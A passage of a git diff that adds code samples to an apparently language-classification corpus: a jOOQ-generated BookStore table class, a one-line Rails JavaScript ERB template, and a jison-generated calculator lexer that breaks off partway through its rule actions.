+        reader.lines().forEach(s -> result.append(s + "\n"));
+        return result.toString();
+    }
+}
+
+FieldGen.main(null);
+
diff --git a/samples/Java/generated-jooq-table.java b/samples/Java/generated-jooq-table.java
new file mode 100644
index 0000000000..7459a0be18
--- /dev/null
+++ b/samples/Java/generated-jooq-table.java
@@ -0,0 +1,141 @@
+/*
+ * This file is generated by jOOQ.
+ */
+package org.jooq.example.db.h2.tables;
+
+
+import java.util.Arrays;
+import java.util.List;
+
+import org.jooq.Field;
+import org.jooq.ForeignKey;
+import org.jooq.Index;
+import org.jooq.Name;
+import org.jooq.Record;
+import org.jooq.Row1;
+import org.jooq.Schema;
+import org.jooq.Table;
+import org.jooq.TableField;
+import org.jooq.UniqueKey;
+import org.jooq.example.db.h2.Indexes;
+import org.jooq.example.db.h2.Keys;
+import org.jooq.example.db.h2.Public;
+import org.jooq.example.db.h2.tables.records.BookStoreRecord;
+import org.jooq.impl.DSL;
+import org.jooq.impl.TableImpl;
+
+
+/**
+ * This class is generated by jOOQ.
+ */
+@SuppressWarnings({ "all", "unchecked", "rawtypes" })
+public class BookStore extends TableImpl<BookStoreRecord> {
+
+    private static final long serialVersionUID = 873069360;
+
+    /**
+     * The reference instance of <code>PUBLIC.BOOK_STORE</code>
+     */
+    public static final BookStore BOOK_STORE = new BookStore();
+
+    /**
+     * The class holding records for this type
+     */
+    @Override
+    public Class<BookStoreRecord> getRecordType() {
+        return BookStoreRecord.class;
+    }
+
+    /**
+     * The column <code>PUBLIC.BOOK_STORE.NAME</code>.
+     */
+    public final TableField<BookStoreRecord, String> NAME = createField(DSL.name("NAME"), org.jooq.impl.SQLDataType.VARCHAR(400).nullable(false), this, "");
+
+    /**
+     * Create a <code>PUBLIC.BOOK_STORE</code> table reference
+     */
+    public BookStore() {
+        this(DSL.name("BOOK_STORE"), null);
+    }
+
+    /**
+     * Create an aliased <code>PUBLIC.BOOK_STORE</code> table reference
+     */
+    public BookStore(String alias) {
+        this(DSL.name(alias), BOOK_STORE);
+    }
+
+    /**
+     * Create an aliased <code>PUBLIC.BOOK_STORE</code> table reference
+     */
+    public BookStore(Name alias) {
+        this(alias, BOOK_STORE);
+    }
+
+    private BookStore(Name alias, Table<BookStoreRecord> aliased) {
+        this(alias, aliased, null);
+    }
+
+    private BookStore(Name alias, Table<BookStoreRecord> aliased, Field<?>[] parameters) {
+        super(alias, null, aliased, parameters, DSL.comment(""));
+    }
+
+    public <O extends Record> BookStore(Table<O> child, ForeignKey<O, BookStoreRecord> key) {
+        super(child, key, BOOK_STORE);
+    }
+
+    @Override
+    public Schema getSchema() {
+        return Public.PUBLIC;
+    }
+
+    @Override
+    public List<Index> getIndexes() {
+        return Arrays.<Index>asList(Indexes.PRIMARY_KEY_F);
+    }
+
+    @Override
+    public UniqueKey<BookStoreRecord> getPrimaryKey() {
+        return Keys.UK_T_BOOK_STORE_NAME;
+    }
+
+    @Override
+    public List<UniqueKey<BookStoreRecord>> getKeys() {
+        return Arrays.<UniqueKey<BookStoreRecord>>asList(Keys.UK_T_BOOK_STORE_NAME);
+    }
+
+    @Override
+    public BookStore as(String alias) {
+        return new BookStore(DSL.name(alias), this);
+    }
+
+    @Override
+    public BookStore as(Name alias) {
+        return new BookStore(alias, this);
+    }
+
+    /**
+     * Rename this table
+     */
+    @Override
+    public BookStore rename(String name) {
+        return new BookStore(DSL.name(name), null);
+    }
+
+    /**
+     * Rename this table
+     */
+    @Override
+    public BookStore rename(Name name) {
+        return new BookStore(name, null);
+    }
+
+    // -------------------------------------------------------------------------
+    // Row1 type methods
+    // -------------------------------------------------------------------------
+
+    @Override
+    public Row1<String> fieldsRow() {
+        return (Row1) super.fieldsRow();
+    }
+}
diff --git a/samples/JavaScript+ERB/create.js.erb b/samples/JavaScript+ERB/create.js.erb
new file mode 100644
index 0000000000..6440697786
--- /dev/null
+++ b/samples/JavaScript+ERB/create.js.erb
@@ -0,0 +1 @@
+$("<%= escape_javascript(render @model) %>").appendTo("#models");
diff --git a/samples/JavaScript/ccalc-lex.js b/samples/JavaScript/ccalc-lex.js
new file mode 100644
index 0000000000..79bb3d9612
--- /dev/null
+++ b/samples/JavaScript/ccalc-lex.js
@@ -0,0 +1,923 @@
+/* generated by jison-lex 0.3.4-159 */
+var ccalcLex = (function () {
+// See also:
+// http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript/#35881508
+// but we keep the prototype.constructor and prototype.name assignment lines too for compatibility
+// with userland code which might access the derived class in a 'classic' way.
+function JisonLexerError(msg, hash) {
+    Object.defineProperty(this, 'name', {
+        enumerable: false,
+        writable: false,
+        value: 'JisonLexerError'
+    });
+
+    if (msg == null) msg = '???';
+
+    Object.defineProperty(this, 'message', {
+        enumerable: false,
+        writable: true,
+        value: msg
+    });
+
+    this.hash = hash;
+
+    var stacktrace;
+    if (hash && hash.exception instanceof Error) {
+        var ex2 = hash.exception;
+        this.message = ex2.message || msg;
+        stacktrace = ex2.stack;
+    }
+    if (!stacktrace) {
+        if (Error.hasOwnProperty('captureStackTrace')) { // V8
+            Error.captureStackTrace(this, this.constructor);
+        } else {
+            stacktrace = (new Error(msg)).stack;
+        }
+    }
+    if (stacktrace) {
+        Object.defineProperty(this, 'stack', {
+            enumerable: false,
+            writable: false,
+            value: stacktrace
+        });
+    }
+}
+
+if (typeof Object.setPrototypeOf === 'function') {
+    Object.setPrototypeOf(JisonLexerError.prototype, Error.prototype);
+} else {
+    JisonLexerError.prototype = Object.create(Error.prototype);
+}
+JisonLexerError.prototype.constructor = JisonLexerError;
+JisonLexerError.prototype.name = 'JisonLexerError';
+
+
+var lexer = {
+    EOF: 1,
+    ERROR: 2,
+
+    // JisonLexerError: JisonLexerError,        // <-- injected by the code generator
+
+    // options: {},                             // <-- injected by the code generator
+
+    // yy: ...,                                 // <-- injected by setInput()
+
+    __currentRuleSet__: null,                   // <-- internal rule set cache for the current lexer state
+
+    __error_infos: [],                          // INTERNAL USE ONLY: the set of lexErrorInfo objects created since the last cleanup
+
+    __decompressed: false,                      // INTERNAL USE ONLY: mark whether the lexer instance has been 'unfolded' completely and is now ready for use
+
+    done: false,                                // INTERNAL USE ONLY
+    _backtrack: false,                          // INTERNAL USE ONLY
+    _input: '',                                 // INTERNAL USE ONLY
+    _more: false,                               // INTERNAL USE ONLY
+    _signaled_error_token: false,               // INTERNAL USE ONLY
+
+    conditionStack: [],                         // INTERNAL USE ONLY; managed via `pushState()`, `popState()`, `topState()` and `stateStackSize()`
+
+    match: '',                                  // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks input which has been matched so far for the lexer token under construction. `match` is identical to `yytext` except that this one still contains the matched input string after `lexer.performAction()` has been invoked, where userland code MAY have changed/replaced the `yytext` value entirely!
+    matched: '',                                // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks entire input which has been matched so far
+    matches: false,                             // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks RE match result for last (successful) match attempt
+    yytext: '',                                 // ADVANCED USE ONLY: tracks input which has been matched so far for the lexer token under construction; this value is transferred to the parser as the 'token value' when the parser consumes the lexer token produced through a call to the `lex()` API.
+    offset: 0,                                  // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks the 'cursor position' in the input string, i.e. the number of characters matched so far
+    yyleng: 0,                                  // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: length of matched input for the token under construction (`yytext`)
+    yylineno: 0,                                // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: 'line number' at which the token under construction is located
+    yylloc: null,                               // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks location info (lines + columns) for the token under construction
+
+    // INTERNAL USE: construct a suitable error info hash object instance for `parseError`.
+    constructLexErrorInfo: function lexer_constructLexErrorInfo(msg, recoverable) {
+        var pei = {
+            errStr: msg,
+            recoverable: !!recoverable,
+            text: this.match,           // This one MAY be empty; userland code should use the `upcomingInput` API to obtain more text which follows the 'lexer cursor position'...
+            token: null,
+            line: this.yylineno,
+            loc: this.yylloc,
+            yy: this.yy,
+            lexer: this,
+
+            // and make sure the error info doesn't stay due to potential
+            // ref cycle via userland code manipulations.
+            // These would otherwise all be memory leak opportunities!
+            //
+            // Note that only array and object references are nuked as those
+            // constitute the set of elements which can produce a cyclic ref.
+            // The rest of the members is kept intact as they are harmless.
+            destroy: function destructLexErrorInfo() {
+                // remove cyclic references added to error info:
+                // info.yy = null;
+                // info.lexer = null;
+                // ...
+                var rec = !!this.recoverable;
+                for (var key in this) {
+                    if (this.hasOwnProperty(key) && typeof key === 'object') {
+                        this[key] = undefined;
+                    }
+                }
+                this.recoverable = rec;
+            }
+        };
+        // track this instance so we can `destroy()` it once we deem it superfluous and ready for garbage collection!
+        this.__error_infos.push(pei);
+        return pei;
+    },
+
+    parseError: function lexer_parseError(str, hash) {
+        if (this.yy.parser && typeof this.yy.parser.parseError === 'function') {
+            return this.yy.parser.parseError(str, hash) || this.ERROR;
+        } else if (typeof this.yy.parseError === 'function') {
+            return this.yy.parseError.call(this, str, hash) || this.ERROR;
+        } else {
+            throw new this.JisonLexerError(str);
+        }
+    },
+
+    // final cleanup function for when we have completed lexing the input; 
+    // make it an API so that external code can use this one once userland
+    // code has decided it's time to destroy any lingering lexer error
+    // hash object instances and the like: this function helps to clean
+    // up these constructs, which *may* carry cyclic references which would
+    // otherwise prevent the instances from being properly and timely
+    // garbage-collected, i.e. this function helps prevent memory leaks!
+    cleanupAfterLex: function lexer_cleanupAfterLex(do_not_nuke_errorinfos) {
+        var rv;
+
+        // prevent lingering circular references from causing memory leaks:
+        this.setInput('', {});
+
+        // nuke the error hash info instances created during this run.
+        // Userland code must COPY any data/references
+        // in the error hash instance(s) it is more permanently interested in.
+        if (!do_not_nuke_errorinfos) {
+            for (var i = this.__error_infos.length - 1; i >= 0; i--) {
+                var el = this.__error_infos[i];
+                if (el && typeof el.destroy === 'function') {
+                    el.destroy();
+                }
+            }
+            this.__error_infos.length = 0;
+        }
+
+        return this;
+    },
+
+    // clear the lexer token context; intended for internal use only
+    clear: function lexer_clear() {
+        this.yytext = '';
+        this.yyleng = 0;
+        this.match = '';
+        this.matches = false;
+        this._more = false;
+        this._backtrack = false;
+    },
+
+    // resets the lexer, sets new input
+    setInput: function lexer_setInput(input, yy) {
+        this.yy = yy || this.yy || {};
+
+        // also check if we've fully initialized the lexer instance,
+        // including expansion work to be done to go from a loaded
+        // lexer to a usable lexer:
+        if (!this.__decompressed) {
+          // step 1: decompress the regex list:
+          var rules = this.rules;
+          for (var i = 0, len = rules.length; i < len; i++) {
+            var rule_re = rules[i];
+
+            // compression: is the RE an xref to another RE slot in the rules[] table?
+            if (typeof rule_re === 'number') {
+              rules[i] = rules[rule_re];
+            }
+          }
+
+          // step 2: unfold the conditions[] set to make these ready for use:
+          var conditions = this.conditions;
+          for (var k in conditions) {
+            var spec = conditions[k];
+
+            var rule_ids = spec.rules;
+
+            var len = rule_ids.length;
+            var rule_regexes = new Array(len + 1);            // slot 0 is unused; we use a 1-based index approach here to keep the hottest code in `lexer_next()` fast and simple!
+            var rule_new_ids = new Array(len + 1);
+
+            if (this.rules_prefix1) {
+                var rule_prefixes = new Array(65536);
+                var first_catch_all_index = 0;
+
+                for (var i = 0; i < len; i++) {
+                  var idx = rule_ids[i];
+                  var rule_re = rules[idx];
+                  rule_regexes[i + 1] = rule_re;
+                  rule_new_ids[i + 1] = idx;
+
+                  var prefix = this.rules_prefix1[idx];
+                  // compression: is the PREFIX-STRING an xref to another PREFIX-STRING slot in the rules_prefix1[] table?
+                  if (typeof prefix === 'number') {
+                    prefix = this.rules_prefix1[prefix];
+                  }
+                  // init the prefix lookup table: first come, first serve...
+                  if (!prefix) {
+                    if (!first_catch_all_index) {
+                      first_catch_all_index = i + 1;
+                    }
+                  } else {
+                    for (var j = 0, pfxlen = prefix.length; j < pfxlen; j++) {
+                      var pfxch = prefix.charCodeAt(j);
+                      // first come, first serve:
+                      if (!rule_prefixes[pfxch]) {
+                        rule_prefixes[pfxch] = i + 1;
+                      }  
+                    }
+                  }
+                }
+
+                // if no catch-all prefix has been encountered yet, it means all
+                // rules have limited prefix sets and it MAY be that particular
+                // input characters won't be recognized by any rule in this 
+                // condition state.
+                // 
+                // To speed up their discovery at run-time while keeping the
+                // remainder of the lexer kernel code very simple (and fast),
+                // we point these to an 'illegal' rule set index *beyond*
+                // the end of the rule set.
+                if (!first_catch_all_index) {
+                  first_catch_all_index = len + 1;
+                }
+
+                for (var i = 0; i < 65536; i++) {
+                  if (!rule_prefixes[i]) {
+                    rule_prefixes[i] = first_catch_all_index; 
+                  }
+                }
+
+                spec.__dispatch_lut = rule_prefixes;
+            } else {
+                for (var i = 0; i < len; i++) {
+                  var idx = rule_ids[i];
+                  var rule_re = rules[idx];
+                  rule_regexes[i + 1] = rule_re;
+                  rule_new_ids[i + 1] = idx;
+                }
+            }
+
+            spec.rules = rule_new_ids;
+            spec.__rule_regexes = rule_regexes;
+            spec.__rule_count = len;
+          }
+
+          this.__decompressed = true;
+        }
+
+        this._input = input || '';
+        this.clear();
+        this._signaled_error_token = false;
+        this.done = false;
+        this.yylineno = 0;
+        this.matched = '';
+        this.conditionStack = ['INITIAL'];
+        this.__currentRuleSet__ = null;
+        this.yylloc = {
+            first_line: 1,
+            first_column: 0,
+            last_line: 1,
+            last_column: 0
+        };
+        if (this.options.ranges) {
+            this.yylloc.range = [0, 0];
+        }
+        this.offset = 0;
+        return this;
+    },
+
+    // consumes and returns one char from the input
+    input: function lexer_input() {
+        if (!this._input) {
+            this.done = true;
+            return null;
+        }
+        var ch = this._input[0];
+        this.yytext += ch;
+        this.yyleng++;
+        this.offset++;
+        this.match += ch;
+        this.matched += ch;
+        // Count the linenumber up when we hit the LF (or a stand-alone CR).
+        // On CRLF, the linenumber is incremented when you fetch the CR or the CRLF combo
+        // and we advance immediately past the LF as well, returning both together as if
+        // it was all a single 'character' only.
+        var slice_len = 1;
+        var lines = false;
+        if (ch === '\n') {
+            lines = true;
+        } else if (ch === '\r') {
+            lines = true;
+            var ch2 = this._input[1];
+            if (ch2 === '\n') {
+                slice_len++;
+                ch += ch2;
+                this.yytext += ch2;
+                this.yyleng++;
+                this.offset++;
+                this.match += ch2;
+                this.matched += ch2;
+                if (this.options.ranges) {
+                    this.yylloc.range[1]++;
+                }
+            }
+        }
+        if (lines) {
+            this.yylineno++;
+            this.yylloc.last_line++;
+        } else {
+            this.yylloc.last_column++;
+        }
+        if (this.options.ranges) {
+            this.yylloc.range[1]++;
+        }
+
+        this._input = this._input.slice(slice_len);
+        return ch;
+    },
+
+    // unshifts one char (or a string) into the input
+    unput: function lexer_unput(ch) {
+        var len = ch.length;
+        var lines = ch.split(/(?:\r\n?|\n)/g);
+
+        this._input = ch + this._input;
+        this.yytext = this.yytext.substr(0, this.yytext.length - len);
+        //this.yyleng -= len;
+        this.offset -= len;
+        var oldLines = this.match.split(/(?:\r\n?|\n)/g);
+        this.match = this.match.substr(0, this.match.length - len);
+        this.matched = this.matched.substr(0, this.matched.length - len);
+
+        if (lines.length - 1) {
+            this.yylineno -= lines.length - 1;
+        }
+
+        this.yylloc.last_line = this.yylineno + 1;
+        this.yylloc.last_column = (lines ?
+                (lines.length === oldLines.length ? this.yylloc.first_column : 0)
+                + oldLines[oldLines.length - lines.length].length - lines[0].length :
+                this.yylloc.first_column - len);
+
+        if (this.options.ranges) {
+            this.yylloc.range[1] = this.yylloc.range[0] + this.yyleng - len;
+        }
+        this.yyleng = this.yytext.length;
+        this.done = false;
+        return this;
+    },
+
+    // When called from action, caches matched text and appends it on next action
+    more: function lexer_more() {
+        this._more = true;
+        return this;
+    },
+
+    // When called from action, signals the lexer that this rule fails to match the input, so the next matching rule (regex) should be tested instead.
+    reject: function lexer_reject() {
+        if (this.options.backtrack_lexer) {
+            this._backtrack = true;
+        } else {
+            // when the parseError() call returns, we MUST ensure that the error is registered.
+            // We accomplish this by signaling an 'error' token to be produced for the current
+            // .lex() run.
+            var p = this.constructLexErrorInfo('Lexical error on line ' + (this.yylineno + 1) + '. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n' + this.showPosition(), false);
+            this._signaled_error_token = (this.parseError(p.errStr, p) || this.ERROR);
+        }
+        return this;
+    },
+
+    // retain first n characters of the match
+    less: function lexer_less(n) {
+        return this.unput(this.match.slice(n));
+    },
+
+    // return (part of the) already matched input, i.e. for error messages.
+    // Limit the returned string length to `maxSize` (default: 20).
+    // Limit the returned string to the `maxLines` number of lines of input (default: 1).
+    // Negative limit values equal *unlimited*.
+    pastInput: function lexer_pastInput(maxSize, maxLines) {
+        var past = this.matched.substring(0, this.matched.length - this.match.length);
+        if (maxSize < 0)
+            maxSize = past.length;
+        else if (!maxSize)
+            maxSize = 20;
+        if (maxLines < 0)
+            maxLines = past.length;         // can't ever have more input lines than this!
+        else if (!maxLines)
+            maxLines = 1;
+        // `substr` anticipation: treat \r\n as a single character and take a little
+        // more than necessary so that we can still properly check against maxSize
+        // after we've transformed and limited the newLines in here:
+        past = past.substr(-maxSize * 2 - 2);
+        // now that we have a significantly reduced string to process, transform the newlines
+        // and chop them, then limit them:
+        var a = past.replace(/\r\n|\r/g, '\n').split('\n');
+        a = a.slice(-maxLines);
+        past = a.join('\n');
+        // When, after limiting to maxLines, we still have too much to return, 
+        // do add an ellipsis prefix...
+        if (past.length > maxSize) {
+            past = '...' + past.substr(-maxSize);
+        }
+        return past;
+    },
+
+    // return (part of the) upcoming input, i.e. for error messages.
+    // Limit the returned string length to `maxSize` (default: 20).
+    // Limit the returned string to the `maxLines` number of lines of input (default: 1).
+    // Negative limit values equal *unlimited*.
+    upcomingInput: function lexer_upcomingInput(maxSize, maxLines) {
+        var next = this.match;
+        if (maxSize < 0)
+            maxSize = next.length + this._input.length;
+        else if (!maxSize)
+            maxSize = 20;
+        if (maxLines < 0)
+            maxLines = maxSize;         // can't ever have more input lines than this!
+        else if (!maxLines)
+            maxLines = 1;
+        // `substring` anticipation: treat \r\n as a single character and take a little
+        // more than necessary so that we can still properly check against maxSize
+        // after we've transformed and limited the newLines in here:
+        if (next.length < maxSize * 2 + 2) {
+            next += this._input.substring(0, maxSize * 2 + 2);  // substring is faster on Chrome/V8
+        }
+        // now that we have a significantly reduced string to process, transform the newlines
+        // and chop them, then limit them:
+        var a = next.replace(/\r\n|\r/g, '\n').split('\n');
+        a = a.slice(0, maxLines);
+        next = a.join('\n');
+        // When, after limiting to maxLines, we still have too much to return, 
+        // do add an ellipsis postfix...
+        if (next.length > maxSize) {
+            next = next.substring(0, maxSize) + '...';
+        }
+        return next;
+    },
+
+    // return a string which displays the character position where the lexing error occurred, i.e. for error messages
+    showPosition: function lexer_showPosition(maxPrefix, maxPostfix) {
+        var pre = this.pastInput(maxPrefix).replace(/\s/g, ' ');
+        var c = new Array(pre.length + 1).join('-');
+        return pre + this.upcomingInput(maxPostfix).replace(/\s/g, ' ') + '\n' + c + '^';
+    },
+
+    // helper function, used to produce a human readable description as a string, given
+    // the input `yylloc` location object. 
+    // Set `display_range_too` to TRUE to include the string character index position(s)
+    // in the description if the `yylloc.range` is available. 
+    describeYYLLOC: function lexer_describe_yylloc(yylloc, display_range_too) {
+        var l1 = yylloc.first_line;
+        var l2 = yylloc.last_line;
+        var o1 = yylloc.first_column;
+        var o2 = yylloc.last_column - 1;
+        var dl = l2 - l1;
+        var d_o = (dl === 0 ? o2 - o1 : 1000);
+        var rv;
+        if (dl === 0) {
+            rv = 'line ' + l1 + ', ';
+            if (d_o === 0) {
+                rv += 'column ' + o1;
+            } else {
+                rv += 'columns ' + o1 + ' .. ' + o2;
+            }
+        } else {
+            rv = 'lines ' + l1 + '(column ' + o1 + ') .. ' + l2 + '(column ' + o2 + ')';
+        }
+        if (yylloc.range && display_range_too) {
+            var r1 = yylloc.range[0];
+            var r2 = yylloc.range[1] - 1;
+            if (r2 === r1) {
+                rv += ' {String Offset: ' + r1 + '}';
+            } else {
+                rv += ' {String Offset range: ' + r1 + ' .. ' + r2 + '}';
+            }
+        }
+        return rv;
+        // return JSON.stringify(yylloc);
+    },
+
+    // test the lexed token: return FALSE when not a match, otherwise return token.
+    //
+    // `match` is supposed to be an array coming out of a regex match, i.e. `match[0]`
+    // contains the actually matched text string.
+    //
+    // Also move the input cursor forward and update the match collectors:
+    // - yytext
+    // - yyleng
+    // - match
+    // - matches
+    // - yylloc
+    // - offset
+    test_match: function lexer_test_match(match, indexed_rule) {
+        var token,
+            lines,
+            backup,
+            match_str;
+
+        if (this.options.backtrack_lexer) {
+            // save context
+            backup = {
+                yylineno: this.yylineno,
+                yylloc: {
+                    first_line: this.yylloc.first_line,
+                    last_line: this.last_line,
+                    first_column: this.yylloc.first_column,
+                    last_column: this.yylloc.last_column
+                },
+                yytext: this.yytext,
+                match: this.match,
+                matches: this.matches,
+                matched: this.matched,
+                yyleng: this.yyleng,
+                offset: this.offset,
+                _more: this._more,
+                _input: this._input,
+                yy: this.yy,
+                conditionStack: this.conditionStack.slice(0),
+                done: this.done
+            };
+            if (this.options.ranges) {
+                backup.yylloc.range = this.yylloc.range.slice(0);
+            }
+        }
+
+        match_str = match[0];
+        lines = match_str.match(/(?:\r\n?|\n).*/g);
+        if (lines) {
+            this.yylineno += lines.length;
+        }
+        this.yylloc = {
+            first_line: this.yylloc.last_line,
+            last_line: this.yylineno + 1,
+            first_column: this.yylloc.last_column,
+            last_column: lines ?
+                         lines[lines.length - 1].length - lines[lines.length - 1].match(/\r?\n?/)[0].length :
+                         this.yylloc.last_column + match_str.length
+        };
+        this.yytext += match_str;
+        this.match += match_str;
+        this.matches = match;
+        this.yyleng = this.yytext.length;
+        if (this.options.ranges) {
+            this.yylloc.range = [this.offset, this.offset + this.yyleng];
+        }
+        // previous lex rules MAY have invoked the `more()` API rather than producing a token:
+        // those rules will already have moved this `offset` forward matching their match lengths,
+        // hence we must only add our own match length now:
+        this.offset += match_str.length;
+        this._more = false;
+        this._backtrack = false;
+        this._input = this._input.slice(match_str.length);
+        this.matched += match_str;
+
+        // calling this method: 
+        //
+        //   function lexer__performAction(yy, yy_, $avoiding_name_collisions, YY_START) {...}
+        token = this.performAction.call(this, this.yy, this, indexed_rule, this.conditionStack[this.conditionStack.length - 1] /* = YY_START */);
+        // otherwise, when the action codes are all simple return token statements:
+        //token = this.simpleCaseActionClusters[indexed_rule];
+
+        if (this.done && this._input) {
+            this.done = false;
+        }
+        if (token) {
+            return token;
+        } else if (this._backtrack) {
+            // recover context
+            for (var k in backup) {
+                this[k] = backup[k];
+            }
+            this.__currentRuleSet__ = null;
+            return false; // rule action called reject() implying the next rule should be tested instead.
+        } else if (this._signaled_error_token) {
+            // produce one 'error' token as .parseError() in reject() did not guarantee a failure signal by throwing an exception!
+            token = this._signaled_error_token;
+            this._signaled_error_token = false;
+            return token;
+        }
+        return false;
+    },
+
+    // return next match in input
+    next: function lexer_next() {
+        if (this.done) {
+            this.clear();
+            return this.EOF;
+        }
+        if (!this._input) {
+            this.done = true;
+        }
+
+        var token,
+            match,
+            tempMatch,
+            index;
+        if (!this._more) {
+            this.clear();
+        }
+        var spec = this.__currentRuleSet__;
+        if (!spec) {
+            // Update the ruleset cache as we apparently encountered a state change or just started lexing.
+            // The cache is set up for fast lookup -- we assume a lexer will switch states much less often than it will
+            // invoke the `lex()` token-producing API and related APIs, hence caching the set for direct access helps
+            // speed up those activities a tiny bit.
+            spec = this.__currentRuleSet__ = this._currentRules();
+        }
+
+        var rule_ids = spec.rules;
+//        var dispatch = spec.__dispatch_lut;
+        var regexes = spec.__rule_regexes;
+        var len = spec.__rule_count;
+
+//        var c0 = this._input[0];
+
+        // Note: the arrays are 1-based, while `len` itself is a valid index, 
+        // hence the non-standard less-or-equal check in the next loop condition!
+        // 
+        // `dispatch` is a lookup table which lists the *first* rule which matches the 1-char *prefix* of the rule-to-match.
+        // By using that array as a jumpstart, we can cut down on the otherwise O(n*m) behaviour of this lexer, down to
+        // O(n) ideally, where:
+        // 
+        // - N is the number of input particles -- which is not precisely characters 
+        //   as we progress on a per-regex-match basis rather than on a per-character basis
+        //   
+        // - M is the number of rules (regexes) to test in the active condition state.
+        //  
+        for (var i = 1 /* (dispatch[c0] || 1) */ ; i <= len; i++) {
+            tempMatch = this._input.match(regexes[i]);
+            if (tempMatch && (!match || tempMatch[0].length > match[0].length)) {
+                match = tempMatch;
+                index = i;
+                if (this.options.backtrack_lexer) {
+                    token = this.test_match(tempMatch, rule_ids[i]);
+                    if (token !== false) {
+                        return token;
+                    } else if (this._backtrack) {
+                        match = undefined;
+                        continue; // rule action called reject() implying a rule MISmatch.
+                    } else {
+                        // else: this is a lexer rule which consumes input without producing a token (e.g. whitespace)
+                        return false;
+                    }
+                } else if (!this.options.flex) {
+                    break;
+                }
+            }
+        }
+        if (match) {
+            token = this.test_match(match, rule_ids[index]);
+            if (token !== false) {
+                return token;
+            }
+            // else: this is a lexer rule which consumes input without producing a token (e.g. whitespace)
+            return false;
+        }
+        if (this._input === '') {
+            this.done = true;
+            return this.EOF;
+        } else {
+            var p = this.constructLexErrorInfo('Lexical error on line ' + (this.yylineno + 1) + '. Unrecognized text.\n' + this.showPosition(), this.options.lexer_errors_are_recoverable);
+            token = (this.parseError(p.errStr, p) || this.ERROR);
+            if (token === this.ERROR) {
+                // we can try to recover from a lexer error that parseError() did not 'recover' for us, by moving forward at least one character at a time:
+                if (!this.match.length) {
+                    this.input();
+                }
+            }
+            return token;
+        }
+    },
+
+    // return next match that has a token
+    lex: function lexer_lex() {
+        var r;
+        // allow the PRE/POST handlers set/modify the return token for maximum flexibility of the generated lexer:
+        if (typeof this.options.pre_lex === 'function') {
+            r = this.options.pre_lex.call(this);
+        }
+        while (!r) {
+            r = this.next();
+        }
+        if (typeof this.options.post_lex === 'function') {
+            // (also account for a userdef function which does not return any value: keep the token as is)
+            r = this.options.post_lex.call(this, r) || r;
+        }
+        return r;
+    },
+
+    // backwards compatible alias for `pushState()`;
+    // the latter is symmetrical with `popState()` and we advise to use
+    // those APIs in any modern lexer code, rather than `begin()`.
+    begin: function lexer_begin(condition) {
+        return this.pushState(condition);
+    },
+
+    // activates a new lexer condition state (pushes the new lexer condition state onto the condition stack)
+    pushState: function lexer_pushState(condition) {
+        this.conditionStack.push(condition);
+        this.__currentRuleSet__ = null;
+        return this;
+    },
+
+    // pop the previously active lexer condition state off the condition stack
+    popState: function lexer_popState() {
+        var n = this.conditionStack.length - 1;
+        if (n > 0) {
+            this.__currentRuleSet__ = null;
+            return this.conditionStack.pop();
+        } else {
+            return this.conditionStack[0];
+        }
+    },
+
+    // return the currently active lexer condition state; when an index argument is provided it produces the N-th previous condition state, if available
+    topState: function lexer_topState(n) {
+        n = this.conditionStack.length - 1 - Math.abs(n || 0);
+        if (n >= 0) {
+            return this.conditionStack[n];
+        } else {
+            return 'INITIAL';
+        }
+    },
+
+    // (internal) determine the lexer rule set which is active for the currently active lexer condition state
+    _currentRules: function lexer__currentRules() {
+        if (this.conditionStack.length && this.conditionStack[this.conditionStack.length - 1]) {
+            return this.conditions[this.conditionStack[this.conditionStack.length - 1]];
+        } else {
+            return this.conditions['INITIAL'];
+        }
+    },
+
+    // return the number of states currently on the stack
+    stateStackSize: function lexer_stateStackSize() {
+        return this.conditionStack.length;
+    },
+options: {},
+JisonLexerError: JisonLexerError,
+performAction: function lexer__performAction(yy, yy_, $avoiding_name_collisions, YY_START) {
+
+var YYSTATE = YY_START;
+switch($avoiding_name_collisions) {
+case 0 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       [ \t\r\n]+ */ 
+ 
+    /* eat up whitespace */
+    BeginToken(yy_.yytext); 
+     
+break;
+case 1 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {DIGIT}+ */ 
+ 
+    BeginToken(yy_.yytext); 
+    yylval.value = atof(yy_.yytext);
+    return VALUE;
+     
+break;
+case 2 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {DIGIT}+\.{DIGIT}* */ 
+ 
+    BeginToken(yy_.yytext);
+    yylval.value = atof(yy_.yytext);
+    return VALUE;
+     
+break;
+case 3 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {DIGIT}+[eE]["+""-"]?{DIGIT}* */ 
+ 
+    BeginToken(yy_.yytext);
+    yylval.value = atof(yy_.yytext);
+    return VALUE;
+     
+break;
+case 4 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {DIGIT}+\.{DIGIT}*[eE]["+""-"]?{DIGIT}* */ 
+ 
+    BeginToken(yy_.yytext);
+    yylval.value = atof(yy_.yytext);
+    return VALUE;
+     
+break;
+case 5 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       {ID} */ 
+ 
+    BeginToken(yy_.yytext);
+    yylval.string = malloc(strlen(yy_.yytext)+1);
+    strcpy(yylval.string, yy_.yytext);
+    return IDENTIFIER;
+     
+break;
+case 6 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \+ */ 
+  BeginToken(yy_.yytext); return ADD;  
+break;
+case 7 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       - */ 
+  BeginToken(yy_.yytext); return SUB;  
+break;
+case 8 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \* */ 
+  BeginToken(yy_.yytext); return MULT;  
+break;
+case 9 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \/ */ 
+  BeginToken(yy_.yytext); return DIV;  
+break;
+case 10 : 
+/*! Conditions:: INITIAL */ 
+/*! Rule::       \( */ 
+  BeginToken(yy_.yytext); return LBRACE;  
+break;
+case 11 : 
+/*! Conditions:: INITIAL */ 
